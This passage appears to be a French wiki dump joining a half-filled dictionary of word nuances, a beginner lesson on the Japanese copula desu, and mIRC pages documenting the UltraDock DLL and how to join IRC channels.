Galaxie à noyau actif/Quasar/Trou noir supermassif (<span xml:lang="en">a.k.a.</span> géant) === <dl> <dt></dt> <dd></dd> </dl> === Précognition-Prémonition === <dl> <dt></dt> <dd><blockquote cite="http://www.zetetique.ldh.org/titanic.html"> <p>Le premier terme (précognition) est utilisé pour les expériences, le second pour les cas spontanés (rêves prémonitoires notamment).</p> </blockquote></dd> </dl> === Intersexué/Hermaphrodite === Le premier est le terme médical pour désigner le second. === Linguistique comparée/philologie === <dl> <dt></dt> <dd></dd> </dl> === albinisme/leucisisme === <dl> <dt></dt> <dd></dd> </dl> === Agriculteur/Cultivateur/ Éleveur === <dl> <dt>Agriculteur</dt> <dd>Hyperonyme pour les deux suivants</dd> <dt>Cultivateur</dt></dd> <dd>Personne travaillant la terre (céréaliculture, fruiticulture…)</dd> <dt>Éleveur</dt> <dd>Personne élevant des animaux (bétail, volaille, pisciculture, onchiculture…)</dd> </dl> === Calculateur/Ordinateur/Calculatrice/Calculette === <dl> <dt>Calculateur</dt> <dd>Machine effectuant des calculs mathématiques. Anglais : ''computer''</dd> <dt>Ordinateur</dt> <dd>[http://blog.empyree.org/?2005/05/16/1265-linguistique-contemporaine Traduction française de calculateur] (sur demande d’IBM, qui pensait que ''calculateur'' déprécierait ses produits), [http://blog.empyree.org/?2005/07/17/1654-precisions-sur-linformatique-quantique sauf pour les calculateurs quantiques].</dd> <dt>Calculatrice</dt> <dd>Petit calculateur, ne pas confondre avec ''mini-ordinateur''</dd> <dt>Calculette</dt> <dd>Calculatrice de poche, « micro-calculateur », ne pas confondre avec ''micro-ordinateur''</dd> </dl> === Brun/Marron === <dl> <dt></dt> <dd></dd> </dl> === Violet/Pourpre === <dl> <dt></dt> <dd></dd> </dl> === Magistrat/Juge/Procureur/Avocat === Le premier est un hyperonyme pour les deux seconds (mais pas pour le troisième). ([http://maitre.eolas.free.fr/journal/index.php?2004/12/30/34-outrages source]) === Femme (<span xml:lang="en">wife</span>)/Épouse/Mariée === <dl> <dt>Femme (<span xml:lang="en">wife</span>)</dt> <dd></dd> <dt>Épouse</dt> <dd></dd> <dt>Mariée</dt> <dd></dd> </dl> === Futurologie-futurologue/Futurisme-futuriste === <dl> <dt></dt> <dd></dd> </dl> === Acceptation/Acception === <dl> <dt></dt> <dd></dd> </dl> === Numération/Numérotation === <dl> <dt></dt> <dd></dd> </dl> === Opérande/Opération === <dl> <dt></dt> <dd></dd> </dl> === Normal/Normé === <dl> <dt></dt> <dd></dd> </dl> === Formel/Poli === <dl> <dt></dt> <dd></dd> </dl> === Informel/Familier === <dl> <dt></dt> <dd></dd> </dl> === Avenir/Futur === <dl> <dt></dt> <dd></dd> </dl> === Radieux/Radiant/Rayonnant === <dl> <dt></dt> <dd></dd> </dl> === Produit/Résultat === <dl> <dt></dt> <dd></dd> </dl> === Durée de vie/Espérance de vie === <dl> <dt></dt> <dd>Remarque : on a grandement augmenté notre espérance de vie, mais très peu notre durée de vie.</dd> </dl> === Narines/Naseaux === <dl> <dt></dt> <dd></dd> </dl> === Brève/Hatchek=== <dl> <dt>Brève</dt> <dd>Signe diacritique en forme de demi-cercle inférieur</dd> <dt>Hatchek</dt> <dd>Signe diacritique en forme d’accent circonflexe inversé. Graphie savante : Háček. Nommé ''caron'' en anglais</dd> </dl> === Soldat/Guerrier === <dl> <dt></dt> <dd></dd> </dl> === Soldat de fortune/Abri de fortune === <dl> <dt> Soldat de fortune </dt> <dd> Soldat embarqué dans une guerre qui n'est pas la sienne</dd> <dt>Abris de fortune</dt><dd> Abri rudimentaire</dd> </dl> === Esquimau/Inuit/Lapon === <dl> <dt></dt> <dd></dd> </dl> === ''Space-opera''/''Space-fantasy''/''Science-fantasy'' === <dl> <dt></dt> <dd><dfn>Science-fantasy</dfn> réfère à des univers où la science (science) est peu rigoureuse et confine à la magie et au merveilleux (fantasy). Elle est souvent une excuse pour faire de la magie sans le dire. <samp>Hawkmoon</samp>. Le <dfn>space-opera</dfn> est un genre de science-fiction dont l’action se situe dans une société qui a conquis les étoiles (space) et où l’aspect épique (opera) l’emporte sur la rigueur scientifique. <samp><cite xml:lang="en">Star Wars</cite>, considéré par certains comme un western spatial</samp>. Enfin, le terme de <dfn>space-fantasy</dfn> est rarement employé. Synonyme de space-opera, il sert à mettre en valeur le manque de rigueur (fantasy), typique de la space-fantasy, que l’on retrouve dans les space-opera (space).</dd> </dl> === <code>dfn</code>/<code>dt</code> === <dl> <dt></dt> <dd></dd> </dl> === User de/Utiliser === <dl> <dt></dt> <dd></dd> </dl> === Breveté/Patenté === <dl> <dt></dt> <dd></dd> </dl> === Humilité/Modestie === <dl> <dt></dt> <dd></dd> </dl> === Possibilité/Hypothèse === <dl> <dt></dt> <dd></dd> </dl> === Axiome/Postulat === <dl> <dt></dt> <dd></dd> </dl> === Fêtes/festivités === <dl> <dt></dt> <dd></dd> </dl> === Tromblon/Espingole === <dl> <dt></dt> <dd>Ultralingua traduit <dfn xml:lang="en">blunderbuss</dfn> par <dfn>espingole</dfn>, mais tout fidèle lecteur de Léonard (la B.D.) sait bien que ce Basile le Disciple craint, c’est le <dfn>tromblon</dfn> du génie.</dd> </dl> === ''Bronze''/''Brass'' === <dl> <dt></dt> <dd>C’est de l’anglais : le <dfn xml:lang="en">bronze</dfn> est un alliage de cuivre et de <span xml:lang="en">tin</span> (fer-blanc), alors que le <dfn xml:lang="en">brass</dfn> est un alliage de cuivre et de zinc. Source : <cite xml:lang="en">GURPS High-Tech</cite></dd> </dl> === Albinisme/Leucistisme === <dl> <dt>Albinisme</dt> <dd>Maladie génétique privant l'organisme de toute pigmentation</dd> <dt>Leucistisme</dt> <dd>Particularité génétique qui rend le pelage ou le plumage blanc</dd> </dl> Voir [http://blog.empyree.org/?2005/05/28/1362-leucistisme-et-melanisme Leucistisme et mélanisme] === Collaboration/Coordination/Coopération === <dl> <dt></dt> <dd>[http://blog.empyree.org/?2005/05/31/1402-douze-manieres-de-penser-differemment Douze manières de penser différemment]</dd> </dl> === Orthographe/Orthographie === L’orthographe est invariable à l’intérieur d’un même ouvrage. l’orthographie d’un même mot peut varier dans une même ligne. Un mot en italique et le même en romaine (lettre normale) ont la même <dfn>orthographe</dfn>, mais pas la même ''orthographie''. En terme de Web sémantique, on dira qu’ils ont une même ''structure'', mais une ''présentation'' différente. Voir <a href="#">caractère/glyphe</a>.</p> <dl> <dt>Orthographe</dt> <dd> </blockquote> </dd> <dt>Orthographie</dt> <dd></dd> </dl> Voir [http://listetypo.free.fr/meron/new/Edouard.pdf Edouard] (un essai sur la typographie, notamment suisse romande) === iconique/iconifié/logogrammatique === <dl> <dt></dt> <dd></dd> </dl> === corrida/tauromachie === <dl> <dt></dt> <dd>pratique/théorie</dd> </dl> === impavide/impassible === <dl> <dt></dt> <dd></dd> </dl> === Adamantite/Adamantine/Adamantane === <dl> <dt>Adamantite</dt> <dd>Minerai brut (fictif) ([http://www.geocities.com/TimesSquare/Castle/2566/ed-geography.htm source])</dd> <dt>Adamantine</dt> <dd>Alliage dérivé (fictif) ([http://www.geocities.com/TimesSquare/Castle/2566/ed-geography.htm source])</dd> <dt>[[:en:Adamantane|Adamantane]]</dt> <dd>Le plus simple de diamondoïdes</dd> </dl> === Répartie/Répondant === <dl> <dt></dt> <dd></dd> </dl> === Hyperonyme/hyponyme/champ lexical === <dl> <dt>Hyperonyme</dt> <dd>(et pas hypernyme). Élément englobant (<samp>équidé</samp>)</dd> <dt>Hyponyme</dt> <dd>Élément englobé (<samp>cheval, onagre…</samp>)</dd> <dt>Champ lexical</dt> <dd>Ensemble des éléments voisins, qui peuvent ou non être des hyponymes (<samp>cheval, cavalier…</samp>)</dd> </dl> === Sarrasin/Maure === <dl> <dt>Sarrasin</dt> <dd>Arabe en général</dd> <dt>Maure</dt> <dd>Arabe d’Andalousie, « mozarabe »</dd> </dl> === Taverne/Café/Pub/Bar/Comptoir === <dl> <dt></dt> <dd></dd> <dt></dt> <dd></dd> <dt></dt> <dd></dd> <dt></dt> <dd></dd> <dt></dt> <dd></dd> </dl> === Parler/Accent === <dl> <dt></dt> <dd></dd> <dt></dt> <dd></dd> </dl> === Crédulité/Naïvete === <dl> <dt></dt> <dd></dd> <dt></dt> <dd></dd> </dl> === Adorer/Aduler === <dl> <dt></dt> <dd></dd> <dt></dt> <dd></dd> </dl> === Honte/Gêne/Embarras/Vergogne === <dl> <dt></dt> <dd></dd> <dt></dt> <dd></dd> <dt></dt> <dd></dd> <dt></dt> <dd></dd> </dl> === Donnée/Information/Savoir/Sagesse === <blockquote cite="http://totem-consult.blogspot.com/2005_10_01_totem-consult_archive.html#113013388169716776"> <dl> <dt>Donnée</dt> <dd>Un fait décrivant quelque chose, sans interprétation et sans jugement. Une donnée ne donne aucune indication sur ce qu’il convient de faire ou de ne pas faire.</dd> <dt>Information</dt> <dd>Elle est produite par l’interprétation de données. Une information est destinée à modifier la manière dont quelqu’un perçoit quelque chose.</dd> <dt>Savoir</dt> <dd>Il est créé par l’expérimentation de différentes sources d’informations. Ce processus étant d’ordre mental, il est plus difficile à percevoir.</dd> <dt>Sagesse</dt> <dd>Combinaison de l’expérience avec le savoir.</dd> </dl> </blockquote> === Convention/Consensus === <dl> <dt>Convention</dt> <dd></dd> <dt>Consensus</dt> <dd></dd> </dl> === Symbiose/Commensalisme === <dl> <dt>Symbiose</dt> <dd>Coopération <em>indispensable</em> à la survie des partis</dd> <dt>Commensalisme</dt> <dd>Coopération <em>dispensable</em> à la survie des partis</dd> </dl> </blockquote> === Robot/Automate/Machine-outil === <dl> <dt>Robot</dt> <dd>Ont des organes sensoriels (capteurs) qui influent sur les organes moteurs (actionneurs) ([http://www.futura-sciences.com/comprendre/d/dossier178-2.php source])</dd> <dt>Automate</dt> <dd>Les organes moteurs obéissent à un programme préétabli ([http://www.futura-sciences.com/comprendre/d/dossier178-2.php source])</dd> <dt>Machine-outil</dt> <dd></dd> </dl> robot : terme inventé par un écrivain Tchèque (K.Capek)au début du 20ème siècle(1921). Le robot était un automate ( présentant une ressemblance avec l'homme) qui effectuait pour nous UN TRAVAIL ( ce qui n'est pas forcement le cas d'un automate). Rien à voir avec une machine outil ( grosse macine pas tres humaine). Mais les termes évoluent ... source Dracula 2 === Uniquement/seulement === <dl> <dt>uniquement</dt> <dd></dd> <dt>seulement</dt> <dd></dd> </dl> === Adage/Aphorisme/Maxime/Dicton/Sentence/Apophtegme/Citation/Dicton === [http://www.ssjbmauricie.qc.ca/langue/coeur/aphorisme.php] <dt>Adage</dt> <dd></dd> <dt>Aphorisme</dt> <dd></dd> <dt>Apophtegme</dt> <dd></dd> <dt>Citation</dt> <dd></dd> <dt>Dicton</dt> <dd></dd> <dt>Maxime</dt> <dd></dd> <dt>Sentence</dt> <dd></dd> </dl> === Incartade/Écart/Hameau/Lieu-dit === <dl> <dt>Incartade</dt> <dd>Petit écart (de conduite), sans conséquence</dd> <dt>Écart</dt> <dd>Action de s’écarter d’une conduite</dd> <dd>[Administration] Petite agglomération d’une commune qui est distincte de son centre. Lieu écarté.</dd> <dt>Hameau</dt> <dd>[Administration] Hyponyme d’écart. Groupe isolé de maisons à la campagne.</dd> <dt>Bourg</dt> <dd>[Administration] Écart francilien. ([ source])</dd> <dt>Lieu-dit</dt> <dd>[Administration] Hyponyme d’écart. Lieu de faible étendue qui porte un nom traditionnel. Ce n’est donc pas forcément un groupe d’habitation, ni même situé à la campagne</dd> </dl> === Punk/Post-punk/Cyberbunk/Post-cyberpunk === <dl> <dt>[[w:Punk|Punk]]</dt> <dd>Mouvement artistique (surtout musical) des années 70. ''Sex pistols''</dd> <dt>[[:en:w:Post-punk revival|Post-punk (revival)]]</dt> <dd>Mouvement artistique (surtout musical) des années 90. ''The Offspring''</dd> <dt>[[w:Cyberpunk|Cyberpunk]]</dt> <dd>Mouvement artistique (surtout littéraire) des années 80. ''Neuromancien''</dd> <dt>[[:en:w:Postcyberpunk|Postcyberpunk]]</dt> <dd>Mouvement artistique (surtout littéraire) des années 2000. ''Demolition Man''</dd> </dl> === Cartouche/Chevrotine/Balle === <dl> <dt>[[w:Cartouche (arme)|Cartouche]]</dt> <dd>Enveloppe contenant (en plus de l'amorce et de la douille) soit une balle, soit de la chevrotine.</dd> <dt>Chevrotine</dt> <dd>Billes de plomb qui constitue la munition d'une cartouche de chasse</dd> <dt>Balle</dt> <dd>Masse métallique qui constitue la munition des pistolets, révolver ou fusils de sport ou de combat</dd> </dl> === Haptique/Tactile === <dl> <dt>Haptique</dt> <dd></dd> <dt>Tactile</dt> <dd></dd> </dl> === Travailleur/Industrieux === <dl> <dt>Travailleur</dt> <dd></dd> <dt>Industrieux</dt> <dd></dd> </dl> === Déisme/Agnostisme === <dl> <dt>[[w:Déisme|Déisme]]</dt> <dd></dd> <dt>[[w: Agnosticisme|Agnosticisme]]</dt> <dd></dd> </dl> === Pull-over/Chandail === <dl> <dt>Pull-over</dt> <dd></dd> <dt>Chandail</dt> <dd>Pull-over de laine</dd> </dl> === Seppuku/Hara-kiri === <dl> <dt>Seppuku</dt> <dd></dd> <dt>Hara-kiri</dt> <dd></dd> </dl> === Aéronef/Aérostat/Aérodyne === <dl> <dt>[[w:Aéronef|Aéronef]]</dt> <dd>Aérostat + aérodyne</dd> <dt>[[w:Aérostat|Aérostat]]</dt> <dd>Plus léger que l’air</dd> <dt>[[w:Aérodyne|Aérodyne]]</dt> <dd>Plus lourd que l’air</dd> </dl> === Sémite/Cananéen/Hébreu/Israélien/Israélite/Juif === <dl> <dt>Sémite</dt> <dd>Personne appartenant à un ensemble de peuples du Proche-Orient. Juif comme Arabes étant sémites, l’acception moderne du terme antisémitisme est incorrecte.</dd> <dt>Cananéen</dt> <dd>Habitant originel de Canaan, plus-ou-moins l’actuel État d’Israël.</dd> <dt>Hébreu</dt> <dd>Hyponyme de Sémite. Ce ne sont pas des Cananéens</dd> <dt>Israélien</dt> <dd>Provenant de l'État moderne d'Israël. Voir [[#Bosnien/Bosniaque|Bosnien/Bosniaque]]</dd> <dt>Israélite</dt> <dd>Relatif à l'Israël biblique. Voir [[#Grec/Hell.C3.A8ne|Grec/Hellène]]</dd> <dt>Juif</dt> <dd>Personne appartenant à la communauté juive.</dd> </dl> Voir aussi [[w:Judaïsme#H.C3.A9breu.2C_Juif.2C_Isra.C3.A9lite.2C_Isra.C3.A9lien_:_quelques_d.C3.A9finitions.2C_afin_d.27.C3.A9viter_des_contresens_trop_courants|Hébreu, Juif, Israélite, Israëlien…]] et l’encart “Hébreux, juifs, israélites…” dans [http://www.lepoint.fr/dossiers_societe/document.html?did=59446 Qu’est-ce qu’être juif ?]. === Grec/Hellène === <dl> <dt>Grec</dt> <dd>Relatif à la Grèce moderne</dd> <dt>Hellène</dt> <dd>Relatif à la Grèce antique</dd> </dl> === Intégré/Suite === <dl> <dt>Intégré</dt> <dd>Logiciel monolithique capable de plusieurs tâches (Microsoft Works, AppleWorks, RagTime, OpenOffice)</dd> <dt>Suite</dt> <dd>Ensemble de logiciels bureautiques étroitement liés mais indépendants (Microsoft Office, iWorks)</dd> </dl> === Futur/Avenir === <dl> <dt>Futur</dt> <dd>Période grammaticale</dd> <dt>Avenir</dt> <dd>Ce qui n’est pas encore advenu</dd> </dl> === Pléonasme/Redondance === <dl> <dt>[[w:Pléonasme|Pléonasme]]</dt> <dd></dd> <dt>[[w:Redondance|Redondance]]</dt> <dd></dd> </dl> === Camionnette/Estafette/Fourgon/Fourgonnette/Voiturette === <dl> <dt>Fourgonnette</dt> <dd>Voiture avec une carrosserie spéciale, qui remplace les places arrière par un espace de stockage plus vaste. ([[w:Image:1978.citroen.2cv.750pix.jpg| 2CV AK]], [[w:Citroën_Acadiane|Acadiane]]). Petite camionnette. ''Minivan'' en anglais. Au Québec, désigne un pick-up.</dd> <dt>Estafette</dt> <dd>Nom d'un modèle de fourgonnette Renault ([http://theclassictimes.com/english/magazine/transport/estafette.asp Page dédiée])</dd> <dt>Fourgon</dt> <dd></dd> <dt>Camionnette</dt> <dd>Petit camion (''van'' en anglais)</dd> <dt>[[w:Voiturette|Voiturette]]</dt> <dd>« Voiture sans permis ». Petite voiture avec moteur de mobylette, permettant de s'en servir sans permis voiture. Spécificité française.</dd> </dl> ===Linguistique comparée/Philologie=== <dl> <dt>[[w:Linguistique comparée|Linguistique comparée]]</dt> <dd></dd> <dt>[[w:Philologie|Philologie]]</dt> <dd></dd> </dl> ===Contraire/Inverse/Opposé=== <dl> <dt>Contraire</dt> <dd></dd> <dt>[[w:Élément inversible|Inverse]]</dt> <dd></dd> <dt>[[w:Opposé|Opposé]]</dt> <dd></dd> </dl> Contraire est le seul terme n’ayant pas de sens mathématique. Il est donc à privilégier en cas d’ambiguité. === Jadis/Naguère === <dl> <dt>Jadis</dt> <dd>Passé ancien</dd> <dd>Jadis apparait au ⅩⅠⅠ<sup>e</sup> siècle, en vieux français ''ja a dis'' qui signifiait ''il y a déjà des jours'' c'est-à-dire ''il y a longtemps'', ''c'est autrefois'', ''c'est une époque ancienne et révolue''.</dd> <dt>Naguère</dt> <dd>Passé récent</dd> <dd>Naguère a pour origine la phrase ''il n'y a guères'' qui signifiait au Moyen Âge, ''il n'y a pas longtemps''.</dd> </dl> === [http://www.academie-francaise.fr/langue/questions.html#ostensible ostensible/Ostentatoire]=== <dl> <dt>Ostensible</dt> <dd>Qui [peut|est fait pour] être montré</dd> <dt>Ostentatoire</dt> <dd>Qui marque une affectation de montrer</dd> </dl> === érotologie/sexologie=== <dl> <dt>Érotologie</dt> <dd>Science sociale plutôt théorique sur les plaisirs de la chair dans la société</dd> <dt>Sexologie</dt> <dd>Science médicale plutôt pratique sur les plaisirs de la chair chez l’individu</dd> </dl> === cryogénie/cryopréservation/cryonie/cryonique/cryobiologie=== <dl> <dt>Cryogénie</dt> <dd>Étude de la production de très basses températures.</dd> <dt>Cryopréservation</dt> <dd>Préservation d'un organisme ou d’un élément d’organisme grâce à de très basses températures</dd> <dt>Cryonie</dt> <dd>Cryopréservation dans l’objectif de pouvoir ranimer l’organisme plus tard</dd> <dt>Cryonique</dt> <dd>Anglicisme pour cryonie, de l’anglais cryonics</dd> <dt>Cryobiologie</dt> <dd>Étude de la survie de créatures à de très basses températures. Ce peut être purement scientifique (comme l’étude des [[Cryophile]]s ou, plus souvent, à des fins de cryopréservation.</dd> </dl> ===nycthéméral/circadien=== <dl> <dt>Nycthéméral</dt> <dd></dd> <dt>Circadien</dt> <dd></dd> </dl> ===Mégalopolis/mégalopole/mégapole/conurbation=== <dl> <dt>Mégalopolis</dt> <dd>Un des noms propres de la mégalopole [[w: BosWash|Boston-Washington]]</dd> <dt>[[w: Mégalopole|mégalopole]]</dt> <dd>Conurbation de métropoles ou de mégapoles</dd> <dd>exemples : la région des Grands Lacs (États-Unis), [[w:Tshwane|Tshwane]] (Afrique du Sud)</dd> <dt>[[w: Mégapole|mégapole]]</dt> <dd>Grande métropole. Actuellement, la valeur plancher fixée par l’ONU est de 8 millions d’habitants</dd> <dd>exemples : Tōkyō (mégapole en conurbation), Moscou (mégapole isolée)</dd> <dt>conurbation</dt> <dd>fusion géographique de villes voisines et de leur banlieues</dd> <dd>exemples : petite couronne parisienne, Lille-Roubaix-Tourcoing</dd> </dl> ===transcription/translittération=== <dl> <dt>transcription</dt> <dd></dd> <dt>translittération</dt> <dd></dd> </dl> Voir [[:w:Transcription et translittération|Transcription et translittération]] ===malignité/méchanceté=== <dl> <dt>malignité</dt> <dd></dd> <dt>méchanceté</dt> <dd></dd> </dl> ===pamplet/pamlipseste/parodie/pastiche/satire=== <dl> <dt>pamplet</dt> <dd></dd> <dt>pamlipseste</dt> <dd></dd> <dt>parodie</dt> <dd></dd> <dt>pastiche</dt> <dd></dd> <dt>satire</dt> <dd></dd> </dl> == Remerciements == * Ludovic Dubost, pour avoir hébergé et spontanément proposé son aide pour la [http://empyree.xwiki.com/ première version du dictionnaire] (celle-ci est la troisième, [http://empyree.cust.nearlyfreespeech.net/?2005/06/10/1389-dictionnaire-des-nuances la seconde] étant hébergée sur Empyrée/Blog).</p> == Liens externes == * [http://www.dicoland.com/fr/synonymes/dictionnaire-des-synonymes-des-nuances-et-contraires-298 Dictionnaire des synonymes, des nuances et contraires] * [http://elsap1.unicaen.fr/cgi-bin/cherches.cgi dictionnaire des synonymes CRISCO] Japonais:Leçon2:Grammaire 5824 41166 2006-04-29T13:31:02Z 86.195.203.81 /* れい (Exemples) */ = desu/ja arimasen = '''desu''' est un "verbe" un peu à part dans la grammaire japonaise (il est même parfois même pas considéré comme un verbe!), on pourrait le traduire par '''être''' ou '''avoir'''. par exemple : * *watashi wa nihonjin desu : je suis japonais *tanakasan desu : c'est monsieur tanaka *marc desu : je suis Marc *neko desu : c'est un chat *juuichiji desu : il est 11 heures *korewa jisho desu : concernant le truc la, c'est un dictionnaire *nijuusai desu : j'ai 20 ans *omoshiroi desu : c'est intéressant *koko desu : c'est ici comme on peut le voir, il a beaucoup d'utilisations (rassurez vous on verra la plupart dans les prochaines leçons) .. mais toujours pour indiquer l'état. * le but de ce chapitre est juste de vous montrer à travers les différents exemples que le japonais peut etre un véritable casse-tête si on essaie de faire correspondre exactement au français. je vous montre maintenant la conjugaison de '''desu''' <table border="1" cellpadding="2"> <caption>Les Formes en Japonais</caption> {| border="0" align="center" style="border: 1px solid #999; background-color:#FFFFFF" |-align="center" bgcolor="#CCCCCC" ! !affirmatif : !négatif |- |Présent |desu : c'est |ja arimasen : ce n'est pas |-bgcolor="#EFEFEF" |Passé |deshita : c'était |ja arimasen deshita : ce n'était pas </table> == [[Image:Evolution-tasks.png|50 px|exercice]]れんしゅう (Exercices) == Traduire en Francais : * inu(chien) deshita * Fransujin desu * Yamada-san(Mr/Madame yamada) desu * Tanaka-san (Mr/Madame Tanaka) ja arimasen * Oishi(délicieux) desu ne Traduire en japonais : * Je ne suis pas Japonais * C'était pas un Chat(Neko) * C'était intéressant(Omoshiroi) n'est ce pas ? * Etes-vous Japonais ? = sou desu ne ka yo = Sou desu .. Signifie oui c'est cela, Si l'on rajoute les particules suivantes * か[ka]-- Ah Bon ? vraiment ? Ah Oui ? * ね[ne]-- n'est-ce pas ? * よ[yo]-- Et oui !, et je l'affirme, c'est ce que je pense == れい (Exemples) == - Watakushi wa Furansujin desu (je suis francais) - Aa ... So desu ka (ah bon ?) "So desu ka", "So desu ne" et "Sou desu yo" sont des expressions typiquement japonaises. Vous les entendrez souvent. Petit choc des cultures : une des expressions préférées des japonais est "Omoshiroi", qui signifie "interessant", donc si un Japonais vous dit "omoshirokatta desu ne", ("c'etait intéressant"), cela prouve un réel intérêt et n'est pas péjoratif comme en français. Modèle:Code mIRC 5825 25126 2005-11-06T18:46:19Z MagnetiK 657 {| style="border:1px #808080 dashed; padding:0px; margin-left: 10px; text-align:left; background: #FBFBFB;" | <font face="Courier New, Courier, mono">{{{1}}}</font> |} Modèle:Note mIRC 5826 24993 2005-11-05T13:12:01Z MagnetiK 657 {| style="border:1px #808080 dashed; width: 70%; margin:auto; padding:0px; text-align:left; background: rgb(80%, 100%, 80%);" | ''Note :'' {{{1}}} |} Modèle:Avertissement mIRC 5827 24998 2005-11-05T13:23:14Z MagnetiK 657 {| style="border:1px #808080 dashed; width: 70%; margin:auto; padding:0px; text-align:left; background: #FFCC00;" | ''Avertissement :'' {{{1}}} |} Programmation mIRC DLL mIRC 5828 25003 2005-11-05T16:00:04Z 80.118.245.136 {{DLL's mIRC}} *[[Programmation_mIRC_UltraDock|UltraDock]] par ClickHeRe Programmation mIRC UltraDock 5829 25004 2005-11-05T16:13:04Z 80.118.245.136 ==Introduction :== Cette Dll vous permet de docker les dialogues autour de la fenêtre mIRC. Chaque fonction dans cette DLL retourne une valeur si utilisée avec l'identifieur $dll. U_OK si succès, U_ERROR autrement. N.B. : cette DLL est destinée à remplacer la vieille DLL de dockage appelée RebaR.dll ==Fonctions de la DLL== Ces commandes générales affectent la façon dont mIRC sera. Vous pouvez désactiver la barre d'outils et/ou la switchbar de mIRC avec certaines commandes. D'autres commandes vous permettra de docker le dialogue sur chacun des quatre côtés de la fenêtre mIRC. ==Commandes générales== '''Show SwitchBar''' Cette commande vous permet d'afficher/cacher la Switchbar de mIRC. (1 : montrer – 0 : cacher) '''Commande :''' /dll UltraDock.dll ShowSwitchbar [1|0] $dll(UltraDock.dll,ShowSwitchbar,[1|0]) '''Valeur retournée (Succès):''' U_OK '''ShowToolbar''' Cette commande vous permet d'afficher/cacher la ToolBar de mIRC. (1 : montrer – 0 : cacher) '''Commande :''' /dll UltraDock.dll ShowToolbar [1|0] $dll(UltraDock.dll,ShowToolbar,[1|0]) '''Valeur retournée (Succès) :''' U_OK '''ShowMenubar''' Cette commande vous permet d'afficher/cacher la Menubar de mIRC. (1 : montrer – 0 : cacher) '''Commande :''' /dll UltraDock.dll ShowMenubar [1|0] $dll(UltraDock.dll,ShowMenubar,[1|0]) '''Valeur retournée (Succès) :''' U_OK '''IsSwitchbar''' Cette commande retourne si la SwitchBar est visible ou pas. '''Commande :''' $dll(UltraDock.dll,IsSwitchbar,.) '''Valeur retournée (Succès) :''' $true ou $false '''IsToolbar''' Cette commande retourne si la ToolBar est visible ou pas. '''Commande :''' $dll(UltraDock.dll,IsToolbar,.) '''Valeur retournée (Succès) :''' $true ou $false '''IsMenubar''' Cette commande retourne si la Menubar est visible ou pas. '''Commande :''' $dll(UltraDock.dll,IsMenubar,.) '''Valeur retournée (Succès) :''' $true ou $false '''SBSize''' Cette commande retourne la hauteur et la largeur de la switchbar. '''Commande :''' $dll(UltraDock.dll,SBSize,.) '''Valeur retournée (Succès) :''' Largeur Hauteur '''TBSize''' Cette commande retourne la hauteur et la largeur de la toolbar de mIRC. '''Commande :''' $dll(UltraDock.dll,TBSize,.) '''Valeur retournée (Succès) :''' Largeur Hauteur '''SBPos''' Cette commande retourne la position de la switchbar de mIRC. '''Commande :''' $dll(UltraDock.dll,SBPos,.) '''Valeur retournée (Succès) :''' · 0 – aucune switchbar · 1 – gauche · 2 – droite · 3 – en haut · 4 – en bas '''Version''' Cette commande retourne des informations sur la version de la DLL. '''Commande :''' $dll(UltraDock.dll,Version,.) '''Valeur retournée (Succès) :''' Version de la DLL et informations de l'auteur '''Dock''' Cette commande vous permet de fixer un dialogue sur la fenêtre principale de mIRC. Vous pouvez fixer autant de dialogues que vous voulez. La fixation du dialogue autour de la fenêtre suit un ordre de fixation, ce qui signifie que le premier dialogue fixé obtient la pleine taille de la fenêtre, la seconde les dimensions restantes et ainsi de suite jusqu'à ce que la dernière soit atteinte. '''Commande :''' $dll(UltraDock.dll, Dock,N [HWND] [POSITION] [NOM]) /dll UltraDock.dll Dock N [HWND] [POSITION] [NOM] '''Valeur retournée (Succès) :''' U_OK '''Valeurs :''' N – N est l'index dans lequel le dialogue sera inséré dans l'ordre de fixation. L'index 0 est le premier dialogue. Si la valeur de l'index est -1, alors le dialogue est ajouté à la fin de l'ordre de fixation. HWND - Donné par l'identifieur mIRC $dialog(nom).hwnd POSITION - Position de fixage du dialogue (top, bottom, left, right) NAME – Nom du dialogue '''UnDock''' Cette commande vous permet de libérer un dialogue précédemment fixé et de le restaurer à sa position de flottement originelle. '''Commande :''' $dll(UltraDock.dll, UnDock,N) /dll UltraDock.dll UnDock N '''Valeur retournée (Succès) :''' U_OK '''Valeurs :''' N – Index de fixation du dialogue dans la liste actuelle N.B. : Rappelez-vous que la PREMIERE position a un index 0 et quand vous défixez un dialogue, les index restants vont de 0 à N-1. N.B.2 : Vous devez défixer un dialogue avant de le fermer ou sinon la liste des ordres de fixation sera erronée. '''DockPos''' Cette commande vous permet de récupérer l'index de fixation d'un dialogue à partir de son nom. '''Commande :''' $dll(UltraDock.dll, DockPos,[NOM]) /dll UltraDock.dll DockPos [NOM] '''Valeur retournée (Succès) :''' N ou -1 si échec. '''Valeurs :''' NOM – nom du dialogue Programmation mIRC Joindre un salon 5830 25013 2005-11-05T17:26:09Z Zerg 769 /* Commande /join */ {{Programmation mIRC}} Une fois que vous êtes connecté à un Serveur IRC, vous pouvez joindre un canal et parler à d'autres personnes. Il y a plusieurs méthodes pour joindre un canal, chacune d'entre elles est expliqué ci-dessous. ===Canaux favoris (The Favorites Folder)=== La façon la plus facile de joindre un canal est d'utiliser la filière des canaux qui contient vos canaux favoris. mIRC fait apparaître automatiquement cette filière lorsque vous vous connectez à un Serveur IRC. Vous pouvez joindre un des canaux inscrits dans la liste en le sélectionnant et en appuyant sur le bouton Join. Vous pouvez aussi accéder à la filière des canaux en cliquant sur l'icône correspondant de la barre d'icônes de mIRC. ===Liste des canaux (The Channels list)=== Une autre façon de joindre un canal est d'aller chercher la liste de canaux actifs en utilisant le dialog Liste Des Canaux. Vous pouvez voir ce dialog en cliquant sur l'icône correspondant le la barre d'icônes de mIRC. Pour avoir la liste entière des canaux, vous pouvez cliquer le bouton Get List. Cette liste peut être très longue, parfois au-dessus de 10 000 canaux, alors ça peut prendre un certain temps avant de l'avoir au complet. mIRC sauve cette liste une fois qu'elle est arrivée, alors si vous voulez la visualiser plus tard, vous n'avez qu'à cliquer le bouton Apply. Par contre pour mettre à jour la liste vous devez aller la reprendre encore. Si vous cliquez sur le bouton droit de votre souris dans la fenêtre de la liste des canaux, un menu apparaîtra avec diverses options. Note: Vous pouvez aussi spécifier un nom de fichier à la liste au cas où vous visitez régulièrement différents réseaux IRC. ===Commande /join=== Le format de la commande [[Programmation_mIRC_Commandes_mIRC_1#.2Fjoin|/join]] qui est une [[Programmation_mIRC_Commandes_mIRC_1|commande mIRC]], est /join #canal où #canal est le nom du canal à joindre. Alors si vous voulez joindre le canal #scriptsdb.org, vous taperiez /join #scriptsdb.org suivi de la touche retour, et un moment plus tard, une fenêtre du canal #scriptsdb.org 